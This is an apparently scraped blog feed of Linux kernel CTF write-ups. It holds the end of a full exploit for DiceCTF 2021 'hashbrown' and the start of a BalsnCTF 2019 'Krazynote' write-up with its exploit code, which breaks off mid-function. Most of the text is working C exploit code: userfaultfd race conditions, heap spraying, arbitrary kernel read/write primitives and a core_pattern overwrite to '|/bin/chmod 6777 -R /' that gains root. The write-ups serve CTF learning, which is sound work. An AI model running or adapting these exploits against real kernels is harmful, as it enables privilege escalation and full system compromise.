static void calculate_hash_collision(uint32_t* out, size_t out_size,
                                     uint32_t hash, uint32_t size);

int vuln_fd = 0;
static int vuln_dev_add_key(uint32_t key, void* src, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = (char*)src, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD_KEY, &amp;amp;req);
}
static int vuln_dev_delete_key(uint32_t key) {
  request_t req = {.key = key, .size = 0, .src = NULL, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DELETE_KEY, &amp;amp;req);
}
static int vuln_dev_update_value(uint32_t key, void* src, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = (char*)src, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_UPDATE_VALUE, &amp;amp;req);
}
static int vuln_dev_delete_value(uint32_t key) {
  request_t req = {.key = key, .size = 0, .src = NULL, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DELETE_VALUE, &amp;amp;req);
}
static int vuln_dev_get_value(uint32_t key, void* dest, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = NULL, .dest = (char*)dest};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET_VALUE, &amp;amp;req);
}

static uint32_t get_hash_idx_from_key(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}
static void calculate_hash_collision(uint32_t* out, size_t out_size,
                                     uint32_t hash, uint32_t size) {
  if (hash &amp;gt;= size) {
    fatal(&amp;#34;calculate_hash_collision: hash &amp;gt;= size&amp;#34;);
  }

  uint32_t* p = out;
  const uint32_t* const last_p = p + out_size;
  for (uint32_t cur_key = 0; cur_key &amp;lt;= 0xffffffff; ++cur_key) {
    const uint32_t cur_hash = get_hash_idx_from_key(cur_key, size);
    if (cur_hash != hash) {
      continue;
    }
    *p++ = cur_key;
    if (p == last_p) {
      break;
    }
  }
}

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define IS_IN_KERNEL_BASE_RANGE(x) \
  (KERNEL_BASE_START &amp;lt;= (x) &amp;amp;&amp;amp; (x) &amp;lt;= KERNEL_BASE_END)
#define KERNEL_MODULE_START 0xffffffffc0000000

#define KERNEL_MODPROBE_OFFSET (0xa46fe0)
#define KERNEL_CORE_PATTERN_OFFSET (0xb0cd00)
#define KERNEL_START_SYMTAB_OFFSET (0x990940)
#define KERNEL_MODULE_HASHMAP_OFFSET (0x2540)

static void entry_spray(uint32_t idx, void* data, size_t size);
static void* pthread_entry_spray(void* arg);

static uint64_t construct_corrupted_entry();

static uint64_t leak_heap_address();

static void aar(void* out, uint64_t addr, size_t size);
static void aaw(uint64_t addr, void* data, size_t size);
static uint64_t aar64(uint64_t addr);
static void aaw64(uint64_t addr, uint64_t val);

static uint64_t find_kernel_address(uint64_t heap_addr);
static uint64_t find_module_base();
static uint64_t find_core_pattern_address(uint64_t kernel_addr);

static void entry_spray(uint32_t idx, void* data, size_t size) {
  uint32_t keys[512];
  calculate_hash_collision(keys, 512, idx, VULN_DEV_CONST_SIZE_ARR_MAX);
  for (int i = 0; i &amp;lt; 512; ++i) {
    vuln_dev_add_key(keys[i], data, size);
  }
}
static void* pthread_entry_spray(void* arg) {
  uint32_t idx = *(uint32_t*)(arg);
  void* data = (void*)*(uint64_t*)(arg + 8);
  size_t size = *(size_t*)(arg + 16);
  uint32_t keys[512];
  entry_spray(idx, data, size);
}

cpu_set_t target_cpu;
uint32_t collision_keys[VULN_DEV_CONST_SIZE_ARR_MAX];
static void* userfault_handler_for_construct_fake_entry(void* args) {
  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_construct_fake_entry: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  // puts(
  //     &amp;#34;[*] userfault_handler_for_construct_fake_entry: waiting for page &amp;#34;
  //     &amp;#34;fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_construct_fake_entry: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    // printf(
    //     &amp;#34;[*] userfault_handler_for_construct_fake_entry: addr=0x%llx, &amp;#34;
    //     &amp;#34;flag=0x%llx\n&amp;#34;,
    //     msg.arg.pagefault.address, msg.arg.pagefault.flags);

    // Main Routine
    puts(&amp;#34;[+] UFFD: Deleting values...&amp;#34;);
    uint32_t cur_size = VULN_DEV_CONST_SIZE_ARR_MAX / 2;
    uint32_t cur_threshold = VULN_DEV_GET_THRESHOLD(cur_size);
    for (int i = 0; i &amp;lt;= cur_threshold + 1; ++i) {
      vuln_dev_delete_value(collision_keys[i]);
    }
    copy.src = (uint64_t)page;  // data of page will be data of faulted page

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: ioctl(UFFDIO_COPY)&amp;#34;);
    }
    break;
  }

  munmap(page, 0x1000);
  return NULL;
}

static uint64_t construct_corrupted_entry() {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  memset(data, &amp;#39;a&amp;#39;, 0x20);
  uint32_t target_idx = 0;
  uint32_t cur_size = VULN_DEV_CONST_SIZE_ARR_MAX / 2;
  uint32_t cur_threshold = VULN_DEV_GET_THRESHOLD(cur_size);
  calculate_hash_collision(collision_keys, 512, target_idx,
                           VULN_DEV_CONST_SIZE_ARR_MAX);

  puts(&amp;#34;[*] Adding keys...&amp;#34;);
  for (int i = 0; i &amp;lt; cur_threshold; ++i) {
    vuln_dev_add_key(collision_keys[i], data, sizeof(data));
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  int uffd = register_uffd(uffd_page, 0x1000,
                           userfault_handler_for_construct_fake_entry);

  puts(&amp;#34;[*] Trigger `resize` and deleting values...&amp;#34;);
  vuln_dev_add_key(collision_keys[cur_threshold + 1], uffd_page, sizeof(data));

  puts(&amp;#34;[*] Spraying entries...&amp;#34;);
  {
    entry_spray(1, data, 0x20);
    pthread_t th;
    uint64_t arg[3] = {2, (uint64_t)data, 0x20};
    pthread_create(&amp;amp;th, NULL, pthread_entry_spray, arg);
    pthread_join(th, NULL);
  }

  puts(&amp;#34;[*] Checking there is a corrupted entry...&amp;#34;);
  uint64_t entry_key = -1, backing_key = -1;
  for (int i = 0; i &amp;lt;= cur_threshold + 1; ++i) {
    uint32_t cur_key = collision_keys[i];
    vuln_dev_get_value(collision_keys[i], data, 0x20);
    if (*uint64_data == 0x6161616161616161 || (*uint64_data &amp;gt;&amp;gt; 32) != 0x20) {
      continue;
    }

    entry_key = cur_key;
    backing_key = (*uint64_data) &amp;amp; 0xffffffff;
    break;
  }

  close(uffd);
  munmap(uffd_page, 0x1000);

  return (entry_key &amp;lt;&amp;lt; 32) | backing_key;
}

uint32_t controller_key, backing_key;
uint64_t original_backing_ptr;
static uint64_t leak_heap_address() {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  vuln_dev_get_value(controller_key, data, 0x20);
  return uint64_data[1];
}
static void aar(void* dest, uint64_t addr, size_t size) {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  uint64_data[0] = ((size &amp;amp; 0xffffffff) &amp;lt;&amp;lt; 32) | backing_key;
  uint64_data[1] = addr;
  vuln_dev_update_value(controller_key, data, 0x10);
  vuln_dev_get_value(backing_key, dest, size);
}
static void aaw(uint64_t addr, void* src, size_t size) {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  uint64_data[0] = ((size &amp;amp; 0xffffffff) &amp;lt;&amp;lt; 32) | backing_key;
  uint64_data[1] = addr;
  vuln_dev_update_value(controller_key, data, 0x10);
  vuln_dev_update_value(backing_key, src, size);
}
static uint64_t aar64(uint64_t addr) {
  uint64_t val = -1;
  aar(&amp;amp;val, addr, 8);
  return val;
}
static void aaw64(uint64_t addr, uint64_t val) { return aaw(addr, &amp;amp;val, 8); }

static uint64_t find_kernel_address(uint64_t heap_addr) {
  char data[0x1000];
  uint64_t* uint64_data = (uint64_t*)data;
  int sprays[0x1000];
  for (int i = 0; i &amp;lt; 0x1000; ++i) {
    sprays[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }

  uint64_t addr = heap_addr - 0x8000;
  uint64_t ret = -1;
  while (addr &amp;lt;= heap_addr + 0x8000) {
    uint64_t val = aar64(addr);
    if (IS_IN_KERNEL_BASE_RANGE(val)) {
      ret = val;
      break;
    }
    addr += 8;
  }

  for (int i = 0; i &amp;lt; 0x1000; ++i) {
    close(sprays[i]);
  }
  return ret;
}
static uint64_t find_module_base() {
  uint64_t addr = KERNEL_MODULE_START;
  while (addr &amp;lt;= KERNEL_MODULE_START + 0x10000 * 0x1000) {
    uint64_t val = aar64(addr);
    if (val != -1) {
      return addr;
    }
    addr += 0x1000;
  }
}
static uint64_t find_core_pattern_address(uint64_t kernel_addr) {
  char data[0x20];
  uint64_t maybe_kernel_base = kernel_addr &amp;amp; ~0xfffff;
  uint64_t maybe_core_pattern_addr =
      maybe_kernel_base + KERNEL_CORE_PATTERN_OFFSET;
  uint64_t core_pattern_addr = -1;
  while (core_pattern_addr == -1) {
    aar(data, maybe_core_pattern_addr, 0x20);
    if (!strcmp(data, &amp;#34;core&amp;#34;)) {
      core_pattern_addr = maybe_core_pattern_addr;
    }
    maybe_core_pattern_addr -= 0x100000;
  }
  return core_pattern_addr;
}

int main() {
  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(/dev/&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  uint64_t entry_key_and_backing_key = construct_corrupted_entry();
  controller_key = entry_key_and_backing_key &amp;gt;&amp;gt; 32;
  backing_key = entry_key_and_backing_key &amp;amp; 0xffffffff;
  original_backing_ptr = leak_heap_address();
  printf(
      &amp;#34;[+] Find corrupted entry! (controller_key=0x%08x, &amp;#34;
      &amp;#34;backing_key=0x%08x; backing_ptr=0x%016lx)\n&amp;#34;,
      controller_key, backing_key, original_backing_ptr);

  uint64_t kernel_address = find_kernel_address(original_backing_ptr);
  printf(&amp;#34;[+] kernel_address(not base): 0x%016lx\n&amp;#34;, kernel_address);
  uint64_t module_base = find_module_base();
  printf(&amp;#34;[+] module_base: 0x%016lx\n&amp;#34;, module_base);
  uint64_t core_pattern_address = find_core_pattern_address(kernel_address);
  printf(&amp;#34;[+] core_pattern_address: 0x%016lx\n&amp;#34;, core_pattern_address);
  uint64_t kernel_base = core_pattern_address - KERNEL_CORE_PATTERN_OFFSET;
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  char new_core_pattern[] = &amp;#34;|/bin/chmod 6777 -R /&amp;#34;;
  printf(&amp;#34;[*] Overwrite core_pattern to \&amp;#34;%s\&amp;#34;...\n&amp;#34;, new_core_pattern);
  aaw(core_pattern_address, new_core_pattern, sizeof(new_core_pattern));

  puts(&amp;#34;[*] Trigger core_pattern...&amp;#34;);
  uint64_t* evil = (uint64_t*)0xdeadbeefcafebebe;
  *evil = 0;

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/DiceCTF/2021/pwn/hashbrown&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/DiceCTF/2021/pwn/hashbrown&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>BalsnCTF2019 Krazynote</title>
      <link>/posts/kernel/write-ups/ctf/balsnctf2019-krazynote/</link>
      <pubDate>Fri, 24 Jan 2025 06:56:49 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/balsnctf2019-krazynote/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.1.9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide &lt;code&gt;note&lt;/code&gt; misc device with which we can save(0xffffff00) and get(0xffffff02), update(0xffffff01) data using unlocked_ioctl.
When we save and get, update data on it, the xor-encrypted data is stored.&lt;/p&gt;
&lt;p&gt;And the struct enc_data (stored data) and struct request_t is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; xor_key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data_addr_minus_page_offset_base;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; enc_data[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]; &lt;span style=&#34;color:#75715e&#34;&gt;// Struct Hack; see https://www.geeksforgeeks.org/struct-hack/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;unlocked_ioctl&lt;/code&gt; does not perform blocked-ioctl and the device does not use mutex, we can do race condition attack easily.
Furthermore in given kernel environment, non-privileged userfaultfd is allowed.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.1.9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide &lt;code&gt;note&lt;/code&gt; misc device with which we can save(0xffffff00) and get(0xffffff02), update(0xffffff01) data using unlocked_ioctl.
When we save and get, update data on it, the xor-encrypted data is stored.&lt;/p&gt;
&lt;p&gt;And the struct enc_data (stored data) and struct request_t is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; xor_key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data_addr_minus_page_offset_base;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; enc_data[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]; &lt;span style=&#34;color:#75715e&#34;&gt;// Struct Hack; see https://www.geeksforgeeks.org/struct-hack/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;unlocked_ioctl&lt;/code&gt; does not perform blocked-ioctl and the device does not use mutex, we can do race condition attack easily.
Furthermore in given kernel environment, non-privileged userfaultfd is allowed.&lt;/p&gt;
&lt;p&gt;Consider following sequence:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    sequenceDiagram
	    participant user
	    participant device
	    participant userfaultfd
	    
	    user-&amp;gt;&amp;gt;device: store_data(idx &amp;lt;- 0)
	    note over device: [0x00] enc_data(key=?,len=0x10,data=0x18) @ idx=0
	    device-&amp;gt;&amp;gt;userfaultfd: request: copy_from_user
	    userfaultfd-&amp;gt;&amp;gt;device: request: reset
	    note over device: [0x00] NULL
	    userfaultfd-&amp;gt;&amp;gt;device: request: store_data(idx &amp;lt;- 0)
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    userfaultfd-&amp;gt;&amp;gt;device: request: store_data(idx &amp;lt;- 1)
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    note over device: [0x18] enc_data(key=?,len=0,data=0x30) @ idx=1
	    userfaultfd-&amp;gt;&amp;gt;device: response: data of copy_from_user = {0x11111111, 0x22222222, 0x33333333}
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    note over device: [0x18] enc_data(key=0x11111111,len=0x22222222,data=0x33333333) @ idx=1
	    user-&amp;gt;&amp;gt;device: get_data(idx=1)
&lt;/pre&gt;
&lt;p&gt;As see above, we can control xor_key and size, data_addr_minus_page_offset_base of enc_data_t.
Then we can leak xor_key(&lt;code&gt;leak_xor_key&lt;/code&gt;) and data_addr_minus_page_offset_base(&lt;code&gt;leak_vuln_dev_minus_page_offset_base&lt;/code&gt;), device(module)_base(&lt;code&gt;leak_vuln_dev_base&lt;/code&gt;), page_offset_base(&lt;code&gt;vuln_dev_base - vuln_dev_base_minus_page_offset_base&lt;/code&gt;), kernel_base(&lt;code&gt;leak_kernel_base&lt;/code&gt;) step by step.&lt;/p&gt;
&lt;p&gt;As the device provide read and update features, we can make AAR &amp;amp; AAW primitives using these features on modified enc_data.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;325471986&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;325471986&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;BalsnCTF2019-Krazynote-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_NAME &amp;#34;note&amp;#34;
#define VULN_DEV_CMD_ADD 0xffffff00
#define VULN_DEV_CMD_UPDATE 0xffffff01
#define VULN_DEV_CMD_GET 0xffffff02
#define VULN_DEV_CMD_RESET 0xffffff03
#define VULN_DEV_BASE 0xffffffffc0000000
#define VULN_DEV_MISC_FILE_OPS_OFFSET (0xffffffffc0002060 - VULN_DEV_BASE)
#define VULN_DEV_MISC_FILE_OPS_UNLOCKED_IOCTL_IDX 10
#define VULN_DEV_MISC_FILE_OPS_FLUSH_IDX 14
#define VULN_DEV_OFFSET_TO_PTR_TO_KERNEL_BASE \
  (0xffffffffc00021f8 - VULN_DEV_BASE)

#define KERNEL_BASE 0xffffffff81000000
#define OFFSET_OF_KERNEL_ADDR_OBTAINED_BY_VULN_DEV \
  (0xffffffff810a8fa0 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff8210dbe0 - KERNEL_BASE)

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

static int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

cpu_set_t target_cpu;
static int vuln_dev_fd;
uint64_t vuln_dev_xor_key;
uint64_t vuln_dev_base_minus_page_offset_base;
uint64_t vuln_dev_base;

uint64_t page_offset_base;
uint64_t kernel_base;

typedef struct request_t {
  uint64_t idx;
  uint64_t size;
  uint64_t data;
} request_t;

static int vuln_dev_add(uint8_t size, void* data) {
  request_t req = {
      .idx = 0,
      .size = size,
      .data = (uint64_t)data,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
static int vuln_dev_update(uint64_t idx, void* buf) {
  request_t req = {
      .idx = idx,
      .size = 0,
      .data = (uint64_t)buf,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_UPDATE, &amp;amp;req);
}
static int vuln_dev_get(uint64_t idx, void* buf) {
  request_t req = {
      .idx = idx,
      .size = 0,
      .data = (uint64_t)buf,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
static int vuln_dev_reset() {
  request_t req = {
      .idx = 0,
      .size = 0,
      .data = 0,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_RESET, &amp;amp;req);
}

// funtions for leaking xor_key

int leaked_xor_key_bytes = 0;
static void* userfault_handler_for_leak_xor_key(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(leaked_xor_key_bytes, page);
    vuln_dev_add(0xff, page);

